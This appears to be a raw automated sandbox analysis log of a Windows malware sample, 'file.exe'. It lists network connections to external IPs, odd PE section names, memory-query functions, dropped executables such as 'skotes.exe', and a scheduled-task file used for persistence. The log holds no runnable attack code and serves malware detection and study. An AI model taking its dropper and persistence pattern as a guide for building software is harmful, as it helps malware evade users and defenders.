Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.4:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.4:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50048 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: section name:
Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C56B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C56B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C56B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C50F280

Source: C:\Users\user\DocumentsDBGIJEHIID.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5035A0	0_2_6C5035A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57545C	0_2_6C57545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515440	0_2_6C515440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C545C10	0_2_6C545C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C552C10	0_2_6C552C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57AC00	0_2_6C57AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57542B	0_2_6C57542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52D4D0	0_2_6C52D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5164C0	0_2_6C5164C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C546CF0	0_2_6C546CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50D4E0	0_2_6C50D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C516C80	0_2_6C516C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5634A0	0_2_6C5634A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56C4A0	0_2_6C56C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C530512	0_2_6C530512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52ED10	0_2_6C52ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51FD00	0_2_6C51FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C540DD0	0_2_6C540DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5685F0	0_2_6C5685F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C529E50	0_2_6C529E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C543E50	0_2_6C543E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C524640	0_2_6C524640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C552E4E	0_2_6C552E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50C670	0_2_6C50C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C576E63	0_2_6C576E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C547E10	0_2_6C547E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C555600	0_2_6C555600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C569E30	0_2_6C569E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50BEF0	0_2_6C50BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51FEF0	0_2_6C51FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5776E3	0_2_6C5776E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C525E90	0_2_6C525E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56E680	0_2_6C56E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C564EA0	0_2_6C564EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C547710	0_2_6C547710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C519F00	0_2_6C519F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C536FF0	0_2_6C536FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50DFE0	0_2_6C50DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5577A0	0_2_6C5577A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C528850	0_2_6C528850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52D850	0_2_6C52D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54F070	0_2_6C54F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517810	0_2_6C517810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54B820	0_2_6C54B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C554820	0_2_6C554820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5750C7	0_2_6C5750C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52C0E0	0_2_6C52C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5458E0	0_2_6C5458E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5360A0	0_2_6C5360A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52A940	0_2_6C52A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55B970	0_2_6C55B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57B170	0_2_6C57B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51D960	0_2_6C51D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C545190	0_2_6C545190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C562990	0_2_6C562990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53D9B0	0_2_6C53D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50C9A0	0_2_6C50C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C549A60	0_2_6C549A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C548AC0	0_2_6C548AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C521AF0	0_2_6C521AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54E2F0	0_2_6C54E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57BA90	0_2_6C57BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51CAB0	0_2_6C51CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C572AB0	0_2_6C572AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5022A0	0_2_6C5022A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C534AA0	0_2_6C534AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C505340	0_2_6C505340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51C370	0_2_6C51C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54D320	0_2_6C54D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5753C8	0_2_6C5753C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50F380	0_2_6C50F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BAC60	0_2_6C5BAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68AC30	0_2_6C68AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676C00	0_2_6C676C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AECC0	0_2_6C5AECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60ECD0	0_2_6C60ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED70	0_2_6C67ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DAD50	0_2_6C6DAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C738D20	0_2_6C738D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73CDC0	0_2_6C73CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B4DB0	0_2_6C5B4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646D90	0_2_6C646D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64EE70	0_2_6C64EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690E20	0_2_6C690E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BAEC0	0_2_6C5BAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650EC0	0_2_6C650EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636E90	0_2_6C636E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C672F70	0_2_6C672F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61EF40	0_2_6C61EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6F10	0_2_6C5B6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0F20	0_2_6C6F0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68EFF0	0_2_6C68EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B0FE0	0_2_6C5B0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8FB0	0_2_6C6F8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BEFB0	0_2_6C5BEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684840	0_2_6C684840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C600820	0_2_6C600820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A820	0_2_6C63A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B68E0	0_2_6C6B68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8960	0_2_6C5E8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606900	0_2_6C606900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CC9E0	0_2_6C6CC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E49F0	0_2_6C5E49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6409A0	0_2_6C6409A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A9A0	0_2_6C66A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6709B0	0_2_6C6709B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62CA70	0_2_6C62CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668A30	0_2_6C668A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65EA00	0_2_6C65EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62EA80	0_2_6C62EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B6BE0	0_2_6C6B6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650BA0	0_2_6C650BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8460	0_2_6C5C8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C614420	0_2_6C614420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A430	0_2_6C63A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F64D0	0_2_6C5F64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64A4D0	0_2_6C64A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DA480	0_2_6C6DA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612560	0_2_6C612560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650570	0_2_6C650570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C608540	0_2_6C608540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4540	0_2_6C6B4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8550	0_2_6C6F8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A5E0	0_2_6C67A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E5F0	0_2_6C63E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A45B0	0_2_6C5A45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C650	0_2_6C60C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E6E0	0_2_6C60E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64E6E0	0_2_6C64E6E0
